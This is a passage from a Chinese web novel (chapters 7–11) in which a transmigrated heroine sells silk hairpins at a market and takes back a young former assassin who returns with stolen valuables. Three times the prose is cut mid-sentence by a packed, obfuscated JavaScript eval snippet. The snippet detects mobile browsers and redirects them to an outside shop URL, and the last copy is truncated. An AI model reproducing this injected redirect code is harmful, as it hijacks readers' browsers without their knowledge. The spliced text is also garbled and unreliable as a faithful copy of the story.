竹音把一盆水,一条帕子,并一条新的犊鼻裈放到桌上:“你现在能站着了,虽说上半身不能着水,但下半身是可以的,就自己洗洗吧。” 她对站在桌子边的玄烬说完话,随后扬长而去。 玄烬本来心情十分紧张,还在思索如何不失礼的让她不必帮忙,没想到她走的痛快,倒叫他一番准备好的话,全卡在了喉咙里。 玄烬看着关上的木门,愣神了片刻,才脸颊发热的拿起犊鼻裈,看了看大小。 能穿。 是照着他的身形买的。 竹姑娘的眼睛真够毒辣的,买的东西都刚刚好,也不知道她是怎么估算出来的。 虽然没有人看他,但玄烬依然觉得手里的布料烫手,他有些慌乱的把犊鼻裈放下,尽力加快速度,脱了身上的衣物,用水冲洗身体,流下去的水,则被一个更大的盆子接住。 他的旧犊鼻裈早就脏了,不仅沾了血,还沾了汗和分泌物,此刻被他团成一团酸菜,用裤子盖住。 一大盆水,足够他清洗干净身体,直到水用完,他扶着桌子,从盆子里小心翼翼的出来,这才觉得长舒一口气,总算给自己洗干净了。 作为一个有洁癖的人,其实这几天,他自己忍的也很辛苦,每天都在努力的去忽视身上的不适感,尽量不给主家添麻烦。 幸好现在终于可以换洗了。 玄烬吃力的穿好新的犊鼻裈,再套上外裤,这一番动作后,胸前的伤口又开始隐隐作痛,他不敢继续大幅度动作,怕崩裂伤口,缓缓向后靠在椅子上,微微喘息。 听到里面的水声停了,竹音来敲门:“穿好衣服了吗?” 玄烬下意识回了一句:“好了。” 随即大门便被人推开,一阵凉风吹进来,带动屋内的水汽往外涌去。 “你伤口没事吧?”竹音走到桌边,把脏衣服扔进空盆里,准备拿出去洗,那条藏在里面的犊鼻裈便掉了出来,刚好落到地上。 竹音见状,便低头去捡。 玄烬大惊失色:“别捡!” 竹音顿住,疑惑的看着他:“怎么了?” “脏、脏……”玄烬脸色绯红,恨不得原地消失。 他尝试着用脚去够那块布料,想把它藏起来。 竹音又看了一眼地面,这才看清楚那是条血迹暗红发黑的脏内裤。 她牵唇一笑:“早说啊,那这个我就不洗了,直接扔了啊,反正你也有两条换洗的。” 她一脚把那条内裤踢飞,直接飞出门去,然后找了火钳,夹起来,扔进了火塘里,一会儿就烧成了灰烬,不留一点痕迹。 玄烬:“……” 怎么说呢。 他总是跟不上竹姑娘的脑回路。 8. 第8章 玄烬离开 竹音回来继续拿盆子,看他表情不对劲,打趣道:“你还指望我给你洗犊鼻裈啊?别做梦了,就算不脏我也不会给你洗的,以后你每天换的内衣自己洗啊,我顶多给你准备水。” 玄烬面色讪讪,倒是一口答应下来:“好的,我正有此意。” 不管怎么说,两人之间要处理的尴尬事情又少了一件,可喜可贺。 日子又平静的过了三天,几服药全部吃完,玄烬终于可以下地走路了。 耽误了这么久,他也不好意思再呆下去了,第七天清晨,他便主动收拾好行囊,向竹音告别。 竹音对他的识趣感到很欣慰,没有故意赖在这不走,说明他的人品确实还不错。 和懂事的人交流总是让人心情愉悦,本着这一点好感,竹音体贴的问道:“你还有钱吗?我给你点碎银子路上用吧。” 玄烬确实没钱了,犹豫片刻后,他接受了竹音的“资助”,并且承诺道:“救命之恩,没齿难忘,等我回去拿了财物,会再来谢你!” 竹音无所谓的挥了挥手,浅笑道:“你保重自己就行了,咱们萍水相蓬,不必再见。” 玄烬闻言,心里莫名涌起一股失落。 他不知这股失落究竟从何而起,只好暂时压下,再次朝竹音抱拳道谢,然后抬头,深深看了她一眼,背着行囊转身出去。 因为还有伤在身,他的步伐不快不慢,走到门口花费了十几秒的时间。 竹音抱着胳膊靠在门框上,目送他的背影。 出门之前,玄烬回头,又看了她一眼,男人的侧脸在金灿灿的晨光照映下,棱角分明,下颚线锋利,配合上那一双深沉璀璨的黑眸,显示出几分不容忽视的冷俊。 竹音被这一刹那的美色晃了心神,有些惊讶的挑眉,随即举起手,朝他挥了挥,潇洒的弯起眼睛:“一路顺风!” 玄烬凝望着她,缓缓点了点头:“保重。” 话音落地,他的身影已经消失不见。 竹音在门口站了一会儿,确定玄烬已经走远,才怅然的吸了口晨间的凉风,摇头感叹道:“真好看啊。” 上辈子她在现实中哪里见过这么好看的男人,照顾玄烬这几天,别的不说,光这张脸,便叫她大饱眼福了。 再加上他留下来的钱财,嗯……这把血赚不亏! 竹音心情颇好的回了屋,开始准备几天后的清明节赶集。 她已经做了两箱缠花,足够摆满整个摊位,还能留下一些富余。 正常情况下,集市都是以中低端消费为主,想要把东西卖出去,需要精准抓住客户群体。 所以竹音的这批缠花都是软簪,省去了铜制主体,可以大大降低成本。 在大衡国,铜的冶炼也不容易,普通人家的女儿平时戴的手镯也不过是铜的罢了,所以在做下沉市场的生意时,定价绝对不能太高。 为了照顾这些顾客,太重工、太复杂的花她只做了几朵,用作展示,以此吸引行人的目光,招揽顾客,真正好卖的,还是那些小朵的单只缠花。 为了筹备这次的售卖,竹音劳心劳力,煞费苦心。 其实,拿了玄烬那么多钱之后,她完全可以不用那么累,甚至躺平几年也没事。 但什么都不做,却一直有钱花,钱的来路难以过明路,早晚要被人盯上。 再者说,她本来也不是个能够安心躺平的性格,更爱自己打拼事业。 她很清楚,一个人生活在世上,能否受人尊敬,拥有一定范围内的自由,都取决于自身所持有的筹码,这些筹码,就是大众耳熟能详的上进三件套,金钱、权利、地位。 如若不能获得这些,所拥有的自由就要被进一步压缩,在更多的事情上受制于人。 当然,平凡也是很好的,尤其是在现代,基础生活能够保障的情况下,安于平凡,也能少去很多烦恼,不被内卷之风裹挟。 但这里是古代,不上进,就意味着死了也没人给自己出头,平头百姓的利益根本无人在意。 如果没有人忌惮她,尊敬她,和她有利益牵扯,那她就根本无法拥有稳定的生活,即便她有钱,也无法像现代人一样躺平,只会更加快速的沦为豺狼虎豹眼中的一块肥肉。 她要过舒适的,安全的,光鲜亮丽的生活,当然要为之努力奋斗! 当然,还有一件事,就是原主母父的死,她一直觉得有蹊跷。 竹家两口子出门进货,平时走得好好的山路,忽然路中间出现了一块巨石,叫他们的马车撞上,不幸跌落山崖,直接毙命。 人死之后,对家银楼的庞掌柜立刻拿出欠条,仗着原主年纪小不懂事,又刚经历了母父双亡的惨事,神志不清,硬是逼着她按了手印,把银楼抢走了。 原主离开银楼时,只被允许带走了一点私人物品,其他的东西都用来抵账。 这件事情太蹊跷了,她用脚后跟来想,都知道里面一定有内幕,而操纵这一切的凶手,有极大概率,就是那个抢走竹家银楼的庞掌柜。 就算不是他,作为既得利益者,庞掌柜趁人之危,打家劫舍,也逃脱不了干系。 此仇不报,非君子! 如今她穿到了原主身上,庞掌柜抢走的银楼,就是她的银楼。 但凡银楼还在,她也不至于在乡下过这种苦日子,新仇旧恨一起算,如果确定了仇家,她肯定是要让这个忓商血债血偿的。 要做的事情还很多,竹音一刻也没闲着,除了吃饭睡觉,就在琢磨着如何东山再起。 几天时间一晃而过,清明节这日,她起了个大早,提着两个装满缠花的大箱子出门,去集市上摆摊卖货。 摊位是一早租好的,位于整条街的中央位置,比起人流量最大、租金高昂的街头,还有人流量最少、租金最低廉的街尾,这里中规中矩,但也不容易出错。 街头街尾更适合卖吃食,中央位置才适合卖手工艺品,因为人们逛街时,溜达了一会儿后,就会想看点新奇东西。 竹音到达集市的时候,商贩们也来了五六成,大家都在摆弄着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092792|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的摊位,往上面放东西。 竹音左边的摊位卖的是古玩把件,右边摊位卖的是折扇风筝。 卖古玩的山羊胡子老翁正在用一块破布擦拭葫芦,都没正眼瞧她一下,一副高高在上的模样。 倒是右边的婶子很和蔼,主动和竹音搭话:“小妹儿,你卖啥的?以前好像没见过你?” “婶子,我卖缠花的!头一次来。”竹音笑眯眯的和人打招呼,把摆摊的桌子擦干净,铺好布,往上面放缠花:“我家里以前是开银楼的,簪竹记,您知道吗?” 婶子看着她拿出来的缠花?艳欲滴,正待夸奖,再听到簪竹记三个字,顿时一拍大腿,眼中冒出八卦之光:“你是簪竹记的小东家?哎呦,你家那银楼,是被兰玉楼买去了吗?我看都换招牌了,听说你母父……” 竹音家往上三代都是招赘,女掌柜当家做主,这事但凡去过簪竹记的人都知道,所以说起她们家的事时,也跟着改口说“母父”。 “是啊,我母父已经去世了……”竹音故作苦涩的扯了扯嘴角,露出个可怜兮兮的笑容,博取婶子的同情: “兰玉楼的庞掌柜说我娘欠了他一大笔钱,就把银楼要走了,还蛮横的把我撵了出去,什么都没让我带,现在我穷的只能来摆摊了。不瞒您说,我这做缠花的本钱还是找人借的呢。” 率先占领道德制高点,是每个弱者要主动去做的事。 竹音这话说的影影绰绰。 婶子活了几十年,早就是个人精了,哪里听不出来她的话外之音? 她顿时怜悯的看着竹音:“可怜的孩子,没了上头的长辈,就是会这样遭人作践……唉,你今天好好卖,我见你这缠花做的委实不错,只要价格不贵,应该是好卖的。” 竹音感激的朝她道谢,拿起一小支桃花,问她:“婶子,您说这个我卖五十文一个,贵吗?” “夺少?”婶子听到她的报价,震惊的看着她:“五十文,这么便宜?” 毕竟也是蚕丝做的花,平时这样一小朵,在铺子里卖,都要八九十文了,她等于直接半价出售。 竹音故意露出不好意思的笑容:“薄利多销嘛,毕竟是摆摊,我也不敢卖太贵。” 实际上,铺子里的东西之所以卖的贵,是因为有店铺租金的加成,哪怕是自己家买的铺子,那也要先投资一大笔钱进去不是?经营成本不同,店里的东西,自然要比摊上的贵了。 这支缠花,她卖五十文,只算物料,不算时间成本,还能赚三十五文左右,利润还是很可观的。 而她作为新人,想在集市上快速打出名气,低价营销绝对是见效最快的手段。 抓住人们爱占便宜的心理,她可以直接开放预售,用工期换平价,在低价的诱惑下,人们也会愿意等的。 只要单子接的足够多,她甚至不用总是出来摆摊,就能依靠积攒的订单挣钱,让自己每天都不闲着。 又或者直接扩大生产规模,培养簪娘,做成专门的流水线产业,像她前世的网店一样。 9. 第9章 摆摊卖缠花 婶子不知道竹音心里这些弯弯绕绕,只听说了有便宜可捡,便兴冲冲的跑过去挑选:“给我来两朵,我家里那两个丫头,早就想要缠花了,我一直嫌贵,没舍得给她们买,今天你这价钱实惠,两朵才抵别人一朵的钱,可叫我等着了!” 她喜滋滋的挑了两支玉兰,摸出铜板给竹音结账。 像竹音料想的一样,低价策略最容易抢占市场,还没开集就卖出去两朵,果然是开门红。 等到大集开始,在竹音卖力的吆喝下,很快吸引来了一群青春年少的姑娘,听说她的缠花卖的这样便宜,又做的极其精美,但凡手里有钱的,就没有不心动的。 竹音还在一边给她们施加压力:“今天是我头一回摆摊,才有这样的好价钱,属于赔本赚吆喝,下回可不见得能有这样的好价了!” 姑娘们被她说的心急如焚,生怕错过了好事,不一会儿桌上的缠花便被买走了大半。 竹音又对给了钱的顾客说:“你们若是能拉人来买缠花,我可以再送你们一片银杏叶。” 说着,她把早就准备好的赠品银杏叶展示给姑娘们看。 此招一出,不少姑娘们立即心动,和她约好给自己留一片,回身便去喊相熟的伙伴过来。 婶子才卖出去几个风筝,看着她摊位上人挤人,都在挑缠花,不由羡慕道:“还是你的生意好啊。” 竹音百忙之中回头,露出个局促的笑:“我这都不挣钱,您要是卖的像我这样便宜,指定比我的生意还好!” 婶子一想也是,但让她降价那是不可能的,她又不是头一天摆摊,是冲着挣钱来的,哪能跟竹音一样赔本赚吆喝。 不过经过竹音这样一说,她又不酸了,等到这波人过去,还低声给竹音支招:“你卖贵点也没事,我觉得加个十文钱也有人买。” 竹音浅笑:“我现在涨价,她们就该骂我了,还是卖完今天再说。” 等到原先的顾客领着亲朋好友赶过来,新客老客站在一起,很快就把桌上的缠花给挑光了,连她专门做出来的那两个贵价重工花,因为价格低廉,也被人当成宝一样买走。 有些来晚了,没赶上趟的姑娘们便抱怨道:“你这货备的太少了,我们还没挑呢,就卖完了。” “就是,我喜欢的荷花,第一圈来的时候还有,第二圈就没了,你什么时候做新的呀?” “下回不会就涨价了吧?” 竹音立即趁热打铁的说道:“姐妹们别急,你们这样喜欢我做的缠花,我心里也十分欢喜,今日货备少了,确实是我的错,我没想到能卖的这么好。 不然这样吧,如果大家实在有喜欢的款式没买到,我还是按照这个价格,给大家做预定,每枝花给我一半定金,我记下来,回去就做,下个集我再来,你们付了尾款就能拿走,怎么样?” 姑娘们一听不仅不涨价,还可以预定,保证自己想要的一定能买到,顿时心里舒畅起来。 但她们又很担心竹音会卷钱跑路:“我们把定金给了你,你下个集不来怎么办呢?” “我家以前便经营银楼,叫簪竹记,知道我家名号的应该都清楚我们簪竹记的信誉。 如今家中遇上了祸事,银楼没了,我才迫不得已出来摆摊,我如今就住在云溪村,你们要是怕我跑了,可以随时来找我。” 竹音语气不疾不徐,说的信誓旦旦,配合上她本来就很沉稳可靠的气质,很有说服力。 “原来是簪竹记啊!我以前去过你家铺子。”有姑娘认出了她:“我好像见过你,有一回你在柜台后面算账,我的钱是你结的!” 竹音腼腆一笑:“以前偶尔会帮娘亲干活,应该有不少人见过我。” 经过她这么一说,一时之间,不少去过簪竹记的人,都把她对上了号。 “原来是你啊!你是簪竹记的小东家。” “你们家的事儿我也听说了,唉,你还请节哀……” “可怜见的,以前开银楼,现在却沦落到摆摊,怪不得你的缠花做的这么好,原来是银楼的手艺。” “哎呀,我记得以前簪竹记的缠花都要卖到百文以上呢,今天真是赚大了。小东家,我要再订两朵荷花!” 自竹音亮明身份后,她这个簪竹记小东家的名号又被人称呼了起来。 她也没改名,给自己摊子也沿用了簪竹记这个名号,方便借着以前的名声来推广。 正经银楼的手艺,地摊的价格,落魄少东家的信誉,不管是出于占便宜的心理,还是对她的同情,总之,今日掏钱来预定的客人还真不少。 竹音一边收钱,一边迅速的用炭笔在准备好的纸上记录订单,等到最后一个客人离开,她已经成功预定出去了56朵缠花,战绩喜人。 隔壁摊位的婶子见竹音小小年纪,做起生意来游刃有余,手段频出,也在心里感叹,不愧是银楼的小东家,要是家里没出事,估计也是个精明能干的继承人,真是世事无常啊。 摊子上的缠花卖的干干净净,竹音也不等下午了,直接收起箱子提前走人。 她和隔壁摊的婶子打了声招呼,随后便去买蚕丝等物料,顺便买了些生活用品,也没怎么欣赏古代风物,便大步回家去干活了。 下次赶集是十天后,没有大节日的情况下,集市不会有今日这么热闹。 但竹音接了预定,又要做新品,十天时间,还是很紧张的。 她要赶紧把簪竹记缠花的名头打出去,多接些订单,借此把手里的钱过了明目,便可以招贤纳才,帮她干活了。 竹音在家缠了六天花,给自己累了个好歹,不禁更加怀念机械化时代,但凡有个电钻呢,她也不至于差点把手废掉。 午饭吃完之后,她活动了一番身体,做了两组拉伸运动,还想继续干活,结果却见原本晴朗的天空变的雾沉沉的,似乎要下雨。 不一会儿,狂风大作,乌云遮天。 她赶紧把晾在院子里的衣服收回来,刚一进门,就听见一声闷雷在身后炸响,再回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092793|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,豆大的雨滴已经滴落下来,噼里啪啦砸在地上,一分钟不到的时间,就让整个院子的地面都湿透了。 “幸好收的快!”竹音拍拍胸脯,把晾干的衣服叠起来放好,点燃了油灯,继续缠花。 外面的天黑压压的,窗户有点漏风,时不时把竹音剪好的花瓣吹的飞起来。 她有些烦躁的坐起身,找了个茶碗过来,把花瓣压住。 外面又响起一声惊雷,风更大,雨更急,老旧的木门吱呀作响,好像要被大风吹的直接垮掉。 “唉,干个活都干不安宁。”竹音嘟囔了一句,不太愉快的起身,往门口走,准备找个东西把木门支上,免得真的被风给吹坏了,她可不想晚上睡没大门的屋子。 刚走到门边,她看着门缝里透出来的一束光影,忽觉不对劲,反手拿了靠在墙上的劈柴斧头,轻手轻脚的靠近大门,眯起眼睛,屏息片刻,然后猛地拉开门,同一时间,斧头向外面的黑影狠狠劈去—— 狂风猛的灌进来,带着泥土的湿腥气冲进鼻子里,一张熟悉的脸挂着雨水,映入竹音的眼帘。 “竹姑娘,是我!”玄烬利落侧身,轻巧的躲过她的攻击,因淋了雨的缘故,他的黑发沾在了脸上,浑身湿透,身形又狼狈又笔挺。 竹音的斧头落到一边,她惊讶的看着玄烬:“你怎么回来了?” 玄烬似乎有些心虚,没敢正眼直视她的眼睛,声音暗哑:“我……路上碰见了追查的人,没办法去取钱。我不知道去哪,走着走着就回来了。” “那你怎么不敲门?”竹音瞪他。 “我、本来没想好要不要打扰你,没想到你出来了……”玄烬咬了咬嘴唇,诚实的说道。 他本来只想在门口站一会儿,没想到竹音在这时候出来了。 其实他很早就听见了她的脚步声,也知道她转道去拿了武器,甚至在门口站了一会儿。 但他愣是没走,更没躲起来,硬等到竹音开门,才开口证明身份。 也许,他心里也是希望她能发现他的吧?玄烬有些卑劣的想。 “回来就回来,鬼鬼祟祟的干什么,吓我一跳!”竹音提着斧头,有些无语的看着他:“这么大雨,也不知道找地方躲躲,没叫人看见吧?” 她伸长脖子朝外看,查看四周有没有可疑人影。 玄烬听她话里虽有责怪意味,但没有直接赶他走,心里不禁涌起一股隐秘的欢喜,期待的说:“没有,我很擅长躲避,没人发现我。 你、你能再收留我一段时间吗?我有钱。” 说着,他从身后取下一个包裹,递给竹音看。 竹音眼睁睁见他打开包裹,露出一大堆金银珠宝,外加两摞大额银票。 她惊疑不定的看着玄烬:“哪来的?” 玄烬倒是理直气壮,用平稳的声线说道:“路过一家压榨乡邻的土财主家,从他家里拿的。” 竹音:??? 这年头形容偷盗都这么清新脱俗了吗? 10. 第10章 我可以留下吗? 她看了眼玄烬湿透的衣裳,一言难尽的说:“你浑身是伤,还跑去偷东西?” 玄烬连忙展示自己的身体:“已经好了很多了,不影响。” “我是在关心这个吗?”竹音恨不得去拧他的耳朵,把他一把拽进屋,反手关上门,压低声音,用气音骂道:“你要被抓住了怎么办?” 玄烬对她这突如其来的触碰还有些慌乱,踉跄着被她拽了进去,刚站定,听完她的话,又有些不解:“那些人怎么可能抓得住我……” 就土财主家的那几个护院,还不如院子里养的大黑狗机灵呢。 竹音扶额,发觉两人谈论的问题已经串频了。 如果真如玄烬所说,那是个欺压乡里的土财主,恶人自有恶人磨,她对这笔意外之财倒是没有排斥心理,甚至可以欣然接受。 但,事情的关键是:“你确定自己没留下痕迹吗?” 竹音再一次质问他。 “绝对没有!”玄烬面色一肃,郑重承诺道:“不管是追查我的人,还是那家富户,都没发现我,我没留下任何痕迹,你大可放心。” 竹音皱着眉头,紧紧盯着他:“你到底是干嘛的?江湖帮派?还是哪国细作?对这种事这么熟悉。” 玄烬嗫嚅了一下嘴角,到底没敢承认自己的身份,他怕把人吓走,只含糊的说道:“只是以前学过一些应对手段。” 竹音见他不愿意多说,面色更加不好看。 玄烬连忙补充道:“我做这两件事的城镇离这里都很远,要好几天的路程,那些追查我的人,我一发现他们的踪迹,就赶紧掉头走了,他们还在甘南城找我,绝对不会想到我会跑这么远的。” 他的目光带着些许祈求,可怜巴巴的看着竹音:“竹姑娘,我、可以留下吗?” 竹音面无表情的看着他,没说话。 玄烬在她的注视下,充满星光的眼神慢慢变得落寞,半晌后,他垂下眼帘,把手里的包裹放到桌上,轻轻的说:“我知道了,我这就走,这些东西全都给你,我知道救命之恩无以为报,但我也只有这些东西了,以后……以后我就不再来了……” 说完话,他没再看竹音一眼,低着头,转身就要离开。 竹音没拦他。 他推开门,迈着略显沉重的步伐往外走,只觉得心里空落落的,喉头也有些艰涩。 他不知道自己是怎么了,也许是在这里感受到了从没有感受过的温暖照料,又或是他在濒死之时被人拉回人间,有着劫后余生、心有余悸的庆幸之感,总之,他对这个地方,有着奇异的留恋。 但这里,终归不是他的落脚处。 就像往常的每一次一样,没人会收留他。 没人会收留一个麻烦的杀手。 他确实该走了。 风还在肆无忌惮的刮,斜雨细细密密的落到身上,带来一阵湿寒。 “等等!”竹音终于开口,声音里充斥着一股无可奈何的不耐烦:“这么大雨你能去哪啊,就在这住着吧。” 玄烬一秒转身,眼眸中闪烁着惊喜,好像眼睛一下子亮了,像一只快乐的小狗:“真的吗?” “真的,快进来吧。”竹音把包裹里的银票全部拿出来,据为己有,将剩余的东西还给他:“我不好出手,既然你懂,等有机会了,你找地方出手后再给我吧。” 玄烬关上门,走过来,乖巧点头:“好。” 竹音看着他身上的衣衫还在滴水,皱了皱眉:“还有干衣服吗?赶紧换了,你这样泡着,伤口能好?” 玄烬心里一暖,他真的很喜欢别人关心他,这让他觉得自己逃离组织的决定做的非常正确,否则他一辈子都不会感受到正常人的情感。 他把身上另一个包裹取下来,里面还有一套防水雨布包着的衣服,是竹音之前帮他买的。 竹音见他准备换衣服,便说:“厨房里有热水,我给你提过来,你洗了澡再换,别染上风寒了。” 她平日里喝的都是热水,所以有一个烧水壶一直在炉子上放着。 玄烬执意要自己去提。 竹音看着他的胸口:“伤口还没痊愈吧,你能偷东西我信,但能做体力活吗?” 玄烬想了想,忍着羞赧,扯开胸前的衣襟,展示伤口给她看:“已经结了很厚的痂了,快好了。” 雨水让他的胸膛湿润,结痂的地方边缘处被水微微泡软,翘了起来,有些伤口浅的地方,已经掉了痂,露出浅粉色的新肉,倒显得伤口更加狰狞。 竹音遗憾的想,好好的八块腹肌大美男,多了这些疤痕,美感被大大破坏,真是可惜了。 她怜悯的拍了拍玄烬的肩膀:“等伤好了,我再给你找找祛疤的药,尽量给疤痕淡化掉。” 玄烬身体一僵,若有所思的看向自己的疤痕:“你觉得很丑吗?” “嗯,有点……”竹音看着那些像蜈蚣一样的疤痕,摸了摸下巴:“但这也是没办法的事,毕竟你受了那么重的伤,能捡回一条命就不错了,留点疤痕不算什么。” 玄烬抿了抿唇,轻轻点头。 他在心里默默对自己说:她不喜欢疤痕,既然如此,他会把它们全都去掉。 “不过你这恢复能力真是堪比金刚狼呀,这有半个月的时间吗?居然真的好了大半。”竹音感慨的帮他拢上衣襟,指挥他去厨房:“行了,赶紧去洗澡吧,我要继续干活了。” 玄烬却没动:“金刚狼是什么?” “额……一种恢复能力很强的狼,以前听我娘讲故事的时候说过。”竹音顿觉失言,立刻敷衍了一句,把事情推到死人身上。 她用一块木板抵住门,扛住了大风的肆虐,随即坐到桌前开始工作。 金刚狼吗? 玄烬把这个词记下,然后拿着衣服和木盆去洗澡。 等到竹音又做完了两朵花,玄烬带着满身水气回来,不过这回是热气腾腾的水汽。 洗了一个热水澡,驱散了浑身的寒气,他的脸也被蒸腾的微微泛粉,看起来更具少男气息。 竹音看他一眼,一边感叹这家伙建模真好,一边没忍住问道:“你今年几岁呀?” “十八。”玄烬擦着头发,很迅速的回答道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092794|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 才十八啊! 这就是传说中的清纯男大吗? 竹音看着他擦头发的动作,心中顿时划过千种滋味,知道他年轻,没想到这么年轻,居然连二十都不到。 一想到他当时受了那么重的伤,还强忍着没喊过一句痛,再对比现代的十八岁男大,不得不说,这孩子真能忍。 光忍耐力这块,比起同龄人肯定是早熟的。 玄烬见她一直看着自己,擦头发的动作渐渐慢了下来,直到彻底停下,有些不安地问:“怎么了?” 少男五官精致,线条利落干净,眉目深邃锋锐,看起来又冷又俊,带着一股说不出来的野性,举手投足之间,散发着不自知的魅力。 竹音靠在椅背上欣赏他,闻言落落大方的笑道:“没事,看你挺好看的。” 看我挺好看的? 玄烬下意识打量自己,他好看吗? 好像以前也有人说过。 但他是杀手,杀手是不能露脸的,好不好看不重要,能杀人才重要,在竹音说他好看之前,他好像从来没怎么刻意关注过自己的长相。 “我真的好看吗?”他忐忑的问。 “真的啊,我骗你干嘛。”竹音理所当然的说道:“你是我目前见过最好看的男人。” 她毫不吝啬的夸奖,不带任何旖旎味道,却让玄烬心里又起了一层涟漪。 这张脸,原来她觉得好看吗? 那真是太好了! 玄烬忽然绽放出一个柔和的笑容,面上自带的冷俊全部散去,额前几缕碎发垂落在脸颊上,配合着一双灿若星辉的眼眸,整个人变得甜美又温柔。 甜弟! 妥妥的甜弟! 竹音心神一震,逼迫自己移开目光。 哎呦我的老天娘,这小子长的太得劲了,不能多看,不能多看,再看就要犯错误了。 之前只知道他好看,不知道他还有这种风情呀! 竹音转过身去,声音努力维持稳定,丝滑的转移了话题:“你饿了吗?不然做点饭吃?” 玄烬不知道她心里的想法,只遗憾她转过身,没有再继续看自己。 他收起笑容,懂事的站起来:“你想吃什么?我去做。” 竹音瞬间转头:“你还会做饭?” “会、会一点。”玄烬被她灼热的视线看的有点紧张。 “行。”竹音思考片刻,决定给他这个机会,尝尝美男的手艺:“你做吧,厨房里的东西都能用。” 说到一半,又想起一件事:“对了,你的伤口没好透,刚才又沾了水,是不是应该涂点药?” “我已经涂过了。”玄烬又擦了几下头发,确认头发不滴水了,便将帕子拧干,挂到屋里的晾衣绳上,然后说:“我这就去做,你等着。” 他大步走向厨房,不一会儿,厨房那边便传来了锅碗瓢盆碰撞的声音,显然已经开始洗菜淘米了。 竹音有些好奇的起身,站到窗口去看,只见玄烬挽着袖子,正在灶台上忙活,配合上他少言寡语的沉静气质,居然有几分岁月静好之感。 11. 第11章 玄烬做饭 玄烬确实会做饭,他独自出去出任务时,不是哪里都能找到安全的吃饭地方的,所以自己做饭是必备技能。 尤其是荒郊野外,还要会打猎,会识别能吃的植物,不然早就饿死了。 竹音为了长身体,厨房里的东西备的是很齐全的,肉蛋菜都有,没过多久,玄烬便做好了两个菜端上来。 一个香椿煎蛋,一个豆豉辣椒炒肉,配上米饭,也是一顿不错的乡间小食了。 “看起来很香啊!”竹音走到桌边坐下,打量着面前的菜。 玄烬把一碗米饭放到竹音身前,递给她一双筷子,有些局促的开口:“你尝尝,看看合不合胃口……” 他已经有段时间没做饭了,虽然步骤都记得,但手确实有些生了。 竹音也不客气,夹了一筷子辣椒炒肉放进嘴里,随即睁大眼睛:“嗯~” 她咽下嘴里的菜,朝玄烬竖起大拇指:“真没看出来,厨艺不错啊!炒的很有锅气。” 她平时就喜欢吃各种小炒,不过玄烬在的时候,为了做饭方便,也为了照顾伤患的伤口,做的都是蒸煮一类的清淡饮食。 玄烬走后,她又忙着做生意,一个人的饭也不想多折腾,都是怎么简单怎么来,说起来,穿越后就没好好吃过炒菜了,现下猛然一吃,顿时把肚子里的馋虫勾了出来。 看她吃的开心,玄烬也微不可察的弯起嘴角,“嗯”了一声,默默的和她一起吃饭。 竹音虽然和他相处的时间不长,但也算摸清了他这个没事就不爱说话的性格,便也不怎么主动跟他闲聊。 两个人安安静静的吃完一顿饭,玄烬又包揽了洗碗的工作,直到收拾好厨房的一切,才回来坐下休息。 竹音还在缠花,见他进来了,揉了揉酸痛的脖子,对他说:“赶紧歇歇吧,桌上有我泡的苦荞茶,你可以倒来喝。” “好。”玄烬依言给自己倒了杯茶,苦荞泡出来的茶水是鲜亮的金黄色,很好看,闻起来有一股粮食的焦香,味道也并不苦,喝起来柔顺浓郁。 竹音继续缠花,一边干活一边跟他说话:“你既然能动了,就不用睡在地上了,之前用过的被褥,我放到了西屋里,你今晚就住那里吧。” 玄烬应了一声,目光追逐着她手上缠花的动作,有些新奇。 细细一根丝线,在纸片上缠绕一会儿,就成了一片花瓣,再给花瓣凹个造型,组装到一起,就能组成一朵鲜花,原来姑娘们的头花是这样做的。 他看向竹音身旁的箱子,那里面已经放了不少成品,红的粉的紫的,各种花卉挤挤挨挨放在一起,看起来十分热闹,就像把春天都装了进去。 这样明快的颜色,看了就让人觉得心里舒服。 见竹音又开始揉脖子,他放下茶杯,想了想,缓步走了过去:“需要我帮忙吗?” “嗯?”竹音回头看他:“你要帮我缠花吗?” “反正闲着也是闲着……”玄烬看向她手里的丝线:“我可以试试,如果能行的话,你也能歇一会儿。” 他确实没什么事做,自从不当杀手后,生活好像一下子变得漫无目的起来,时常不知道到底应该做点什么。 竹音看着他好奇宝宝的眼神,无奈的笑了一下,以为他就是想玩玩:“行,你既然想试,那就试一下,不过这个可没那么简单。” 她站起身,把椅子让给了玄烬:“来,我教你。” 玄烬坐上了椅子,木头上还有温热感,这股热量透过衣衫传递到他身上,让他有些后悔坐下去的太快。 这、好像太……近了。 不过已经坐下,也不好再起来,玄烬只能刻意去忽视身下的感觉,认真开始听竹音的讲解。 “把铜丝放在花瓣下边缘,用手按住,丝线在头部固定好,往花瓣上缠,注意,丝线是四缕,要一排挨着一排,不能重复,不能压线,不能留缝隙……” 